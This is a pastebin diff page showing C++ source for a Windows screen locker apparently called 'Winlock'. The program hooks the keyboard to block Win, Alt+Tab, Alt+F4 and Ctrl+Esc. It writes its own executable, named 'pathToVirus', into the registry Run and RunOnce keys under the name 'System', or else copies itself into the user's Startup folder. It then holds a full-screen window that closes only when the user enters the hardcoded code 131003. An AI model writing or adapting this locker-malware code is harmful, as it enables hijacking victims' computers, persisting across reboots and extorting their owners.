View difference between Paste ID: HgwbL7Zk and HTCJm7dh
SHOW: | | - or go back to the newest paste.
1
#pragma comment(linker,"\"/manifestdependency:type='win32' \
2
name='Microsoft.Windows.Common-Controls' version='6.0.0.0' \
3
processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
4
5
#include <windows.h>
6
#include <tchar.h>
7
#include "resource.h"
8
#include <strsafe.h>
9
#include <winreg.h>
10
11
#pragma comment(lib, "winmm.lib")
12
13
14
HINSTANCE hInst;
15
HWND      hWnd;
16
HWND      hBtn1, hBtn2, hBtn3, hBtn4, hBtn5, hBtn6, hBtn7, hBtn8, hBtn9, hBtn0, hDelBtn, hOKBtn;
17
HWND	  hLabel;
18
19
HHOOK hHook;
20
21
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
22
23
int CALLBACK KeyboardProc(int nCode, DWORD wParam, DWORD lParam) // Блокировка системных клавиш
24
{
25
	static bool KeyStroke;
26
	static KBDLLHOOKSTRUCT* p;
27
28
	if (nCode < 0) return (int)CallNextHookEx(NULL, nCode, wParam, lParam);
29
30
	KeyStroke = FALSE;
31
	if (nCode == HC_ACTION)
32
	{
33
		switch (wParam)
34
		{
35
		case WM_KEYDOWN:
36
		case WM_SYSKEYDOWN:
37
		case WM_KEYUP:
38
		case WM_SYSKEYUP:
39
			p = (KBDLLHOOKSTRUCT*)lParam;
40
			KeyStroke = ((p->vkCode == VK_LWIN) || (p->vkCode == VK_RWIN)) ||
41
				((p->vkCode == VK_TAB) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
42
				((p->vkCode == VK_ESCAPE) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
43
				((p->vkCode == VK_ESCAPE) && ((GetKeyState(VK_CONTROL) & 0x8000) != 0)) ||
44
				((p->vkCode == VK_F4) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
45
				((p->vkCode == 0xC0) && ((MOD_CONTROL + 0x10) != 0));
46
47
			break;
48
		default:
49
			break;
50
		}
51
	}
52
	if (KeyStroke)
53
		return 1;
54
	else
55
		return (int)CallNextHookEx(hHook, nCode, wParam, lParam);
56
57
}
58
59
BOOL RegClass(WNDPROC Proc, LPCTSTR szName, UINT brBackground)
60
{
61
	WNDCLASS wcex;
62
	wcex.style = wcex.cbClsExtra = wcex.cbWndExtra = 0;
63
	wcex.lpfnWndProc = Proc;
64
	wcex.hInstance = hInst;
65
	wcex.hIcon = LoadIcon(wcex.hInstance, IDI_APPLICATION);
66
	wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
67
	wcex.hbrBackground = (HBRUSH)(COLOR_WINDOWTEXT);
68
	wcex.lpszMenuName = NULL;
69
	wcex.lpszClassName = szName;
70
	return (RegisterClass(&wcex) != 0);
71
}
72
73
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpszCmdLine, int nCmdShow)
74
{
75
	MSG msg;
76
	hInst = hInstance;
77
	if (!RegClass(WndProc, L"WinlockApp", COLOR_WINDOW))
78
		return FALSE;
79
80
	hWnd = CreateWindowEx(NULL/*WS_EX_TOOLWINDOW | WS_EX_TOPMOST*/, L"WinlockApp", L"Winlock", WS_VISIBLE | WS_MAXIMIZE /*| WS_POPUP*/, 0, 0, 1200, 900, 0, 0, hInstance, 0);
81
82
	hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle(NULL), 0);
83
84
	TCHAR pathToVirus[MAX_PATH];
85
86
	bool flag = false;	
87
88
	GetModuleFileName(NULL, pathToVirus, MAX_PATH);
89
	HKEY hKeys;
90
	if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
91
	{
92
		RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
93
		RegCloseKey(hKeys);
94
		flag = true;
95
	}
96
	else {
97
		if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
98
		{
99
			RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
100
			RegCloseKey(hKeys);
101
			flag = true;
102
		}
103
		else {
104
			if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
105
			{
106
				RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
107
				RegCloseKey(hKeys);
108
				flag = true;
109
			}
110
			else {
111
				if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
112
				{
113
					RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
114-
	DWORD size = 1024;
114+
115-
	TCHAR buf[1024];
115+
					flag = true;
116-
	GetUserName(buf, &size);
116+
117-
	LPCWSTR username = buf;
117+
118-
	TCHAR nullPath[1024] = L"C:\\Users\\";
118+
119-
	LPCWSTR startupPath = L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.exe";
119+
120-
	StringCchCat(nullPath, 1024, username);
120+
	if(!flag){
121-
	StringCchCat(nullPath, 1024, startupPath);
121+
		DWORD size = 1024;
122-
	LPCTSTR pathToFile = nullPath;
122+
		TCHAR buf[1024];
123-
	CopyFile(pathToVirus, pathToFile, FALSE);
123+
		GetUserName(buf, &size);
124
		LPCWSTR username = buf;
125
		TCHAR nullPath[1024] = L"C:\\Users\\";
126
		LPCWSTR startupPath = L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.exe";
127
		StringCchCat(nullPath, 1024, username);
128
		StringCchCat(nullPath, 1024, startupPath);
129
		LPCTSTR pathToFile = nullPath;
130
		CopyFile(pathToVirus, pathToFile, FALSE);
131
	}
132
	//mciSendString(L"open \"1.mp3\" type mpegvideo alias mp3", NULL, 0, NULL);
133
	//mciSendString(L"play mp3 repeat", NULL, 0, NULL);
134
	
135
	ShowWindow(hWnd, SW_SHOWDEFAULT/*SW_SHOWMAXIMIZED*/);
136
	UpdateWindow(hWnd);
137
	while (GetMessage(&msg, 0, 0, 0))
138
	{
139
		TranslateMessage(&msg);
140
		DispatchMessage(&msg);
141
	}
142
143
	return msg.wParam;
144
}
145
146
LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
147
{
148
149
	int password = 131003, userpass;
150
	TCHAR inputText[] = L"";
151
152
	int iWidth = GetSystemMetrics(SM_CXSCREEN);  // разрешение экрана по горизонтали
153
	int iHeight = GetSystemMetrics(SM_CYSCREEN); // разрешение экрана по вертикали
154
155
	int btnWidth = 70;                           //button's Width
156
	int btnHeight = 30;							 //button's Height
157
158
	PAINTSTRUCT ps;
159
	HBITMAP hBitmap;
160
	BITMAP bm;
161
	HDC hDC;
162
	HDC hMemDC;
163
164
	switch (msg)
165
	{
166
167
	case WM_PAINT:
168
		
169
		hDC = BeginPaint(hWnd, &ps);
170
		hMemDC = CreateCompatibleDC(hDC);
171
		hBitmap = LoadBitmap(hInst, MAKEINTRESOURCE(IDB_BITMAP1));
172
		GetObject(hBitmap, sizeof(BITMAP), &bm);
173
		SelectObject(hMemDC, hBitmap);
174
		BitBlt(hDC, iWidth / 2 - bm.bmWidth / 2, iHeight / 2 - bm.bmHeight / 2, bm.bmWidth, bm.bmHeight, hMemDC, 0, 0, SRCCOPY);
175
		DeleteDC(hMemDC);
176
		ReleaseDC(hWnd, hDC);
177
		DeleteObject(hBitmap);
178
		EndPaint(hWnd, &ps);
179
180
		break;
181
182
	case WM_CREATE:
183
184
		mciSendString(L"1.wav", NULL, 0, NULL);
185
186
		hBtn1 =   CreateWindow(L"button", L"1", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,			iHeight*3/4,             btnWidth,   btnHeight, hWnd, HMENU(1),   hInst, NULL);
187
		hBtn2 =   CreateWindow(L"button", L"2", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth,   iHeight*3/4,			 btnWidth,   btnHeight, hWnd, HMENU(2),   hInst, NULL);
188
		hBtn3 =   CreateWindow(L"button", L"3", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4,		     btnWidth,   btnHeight, hWnd, HMENU(3),   hInst, NULL);
189
		hBtn4 =   CreateWindow(L"button", L"4", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,            iHeight*3/4+btnHeight,   btnWidth,   btnHeight, hWnd, HMENU(4),   hInst, NULL);
190
		hBtn5 =   CreateWindow(L"button", L"5", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth,   iHeight*3/4+btnHeight,   btnWidth,   btnHeight, hWnd, HMENU(5),   hInst, NULL);
191
		hBtn6 =   CreateWindow(L"button", L"6", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4+btnHeight,   btnWidth,   btnHeight, hWnd, HMENU(6),   hInst, NULL);
192
		hBtn7 =   CreateWindow(L"button", L"7", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,            iHeight*3/4+2*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(7),   hInst, NULL);
193
		hBtn8 =   CreateWindow(L"button", L"8", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth,   iHeight*3/4+2*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(8),   hInst, NULL);
194
		hBtn9 =   CreateWindow(L"button", L"9", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4+2*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(9),   hInst, NULL);
195
		hBtn0 =   CreateWindow(L"button", L"0", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,			iHeight*3/4+3*btnHeight, 2*btnWidth, btnHeight, hWnd, HMENU(0),   hInst, NULL);
196
		hDelBtn = CreateWindow(L"button", L"C", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth,	iHeight*3/4+3*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(100), hInst, NULL);
197
		hOKBtn =  CreateWindow(L"button", L"0K", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,			iHeight*3/4+4*btnHeight, 3*btnWidth, btnHeight, hWnd, HMENU(1000),   hInst, NULL);
198
199
		hLabel = CreateWindow(L"static", NULL, WS_CHILD | WS_VISIBLE, iWidth/8, iHeight*3/4-16, 3*btnWidth, 16, hWnd, NULL, hInst, 0);
200
201
		break;
202
203
	case WM_COMMAND:
204
		switch (LOWORD(wParam))
205
		{
206
		case 0:
207
			
208
			GetWindowText(hLabel, inputText, 26);
209
			_tcscat(inputText, L"0");
210
			SetWindowText(hLabel, inputText);
211
212
			break;
213
214
		case 1:
215
216
			GetWindowText(hLabel, inputText, 26);
217
			_tcscat(inputText, L"1");
218
			SetWindowText(hLabel, inputText);
219
220
			break;
221
222
		case 2:
223
224
			GetWindowText(hLabel, inputText, 26);
225
			_tcscat(inputText, L"2");
226
			SetWindowText(hLabel, inputText);
227
228
			break;
229
230
		case 3:
231
232
			GetWindowText(hLabel, inputText, 26);
233
			_tcscat(inputText, L"3");
234
			SetWindowText(hLabel, inputText);
235
236
			break;
237
238
		case 4:
239
240
			GetWindowText(hLabel, inputText, 26);
241
			_tcscat(inputText, L"4");
242
			SetWindowText(hLabel, inputText);
243
244
			break;
245
246
		case 5:
247
248
			GetWindowText(hLabel, inputText, 26);
249
			_tcscat(inputText, L"5");
250
			SetWindowText(hLabel, inputText);
251
252
			break;
253
254
		case 6:
255
256
			GetWindowText(hLabel, inputText, 26);
257
			_tcscat(inputText, L"6");
258
			SetWindowText(hLabel, inputText);
259
260
			break;
261
262
		case 7:
263
264
			GetWindowText(hLabel, inputText, 26);
265
			_tcscat(inputText, L"7");
266
			SetWindowText(hLabel, inputText);
267
		
268
			break;
269
270
		case 8:
271
272
			GetWindowText(hLabel, inputText, 26);
273
			_tcscat(inputText, L"8");
274
			SetWindowText(hLabel, inputText);
275
276
			break;
277
278
		case 9:
279
280
			GetWindowText(hLabel, inputText, 26);
281
			_tcscat(inputText, L"9");
282
			SetWindowText(hLabel, inputText);
283
284
			break;
285
286
		case 10:
287
288
			GetWindowText(hLabel, inputText, 26);
289
			_tcscat(inputText, L"9");
290
			SetWindowText(hLabel, inputText);
291
292
			break;
293
294
		case 100:
295
296
			SetWindowText(hLabel, L"");
297
298
			break;
299
300
		case 1000:
301
302
			GetWindowText(hLabel, inputText, 26);
303
			userpass = _tstoi(inputText);
304
305
			if (userpass == password) 
306
			{
307
				MessageBox(hWnd, L"Success!", L"SuccessWnd", NULL);
308
				exit(0);
309
			}
310
			else
311
			{
312
				SetWindowText(hLabel, L"");
313
				MessageBox(hWnd, L"Wrong password", L"ERROR", NULL);
314
			}
315
316
			break;
317
		}
318
		break;
319
320
	case WM_DESTROY:
321
		PostQuitMessage(0);
322
		return 0;
323
		break;
324
	}
325
	return DefWindowProc(hWnd, msg, wParam, lParam);
326
}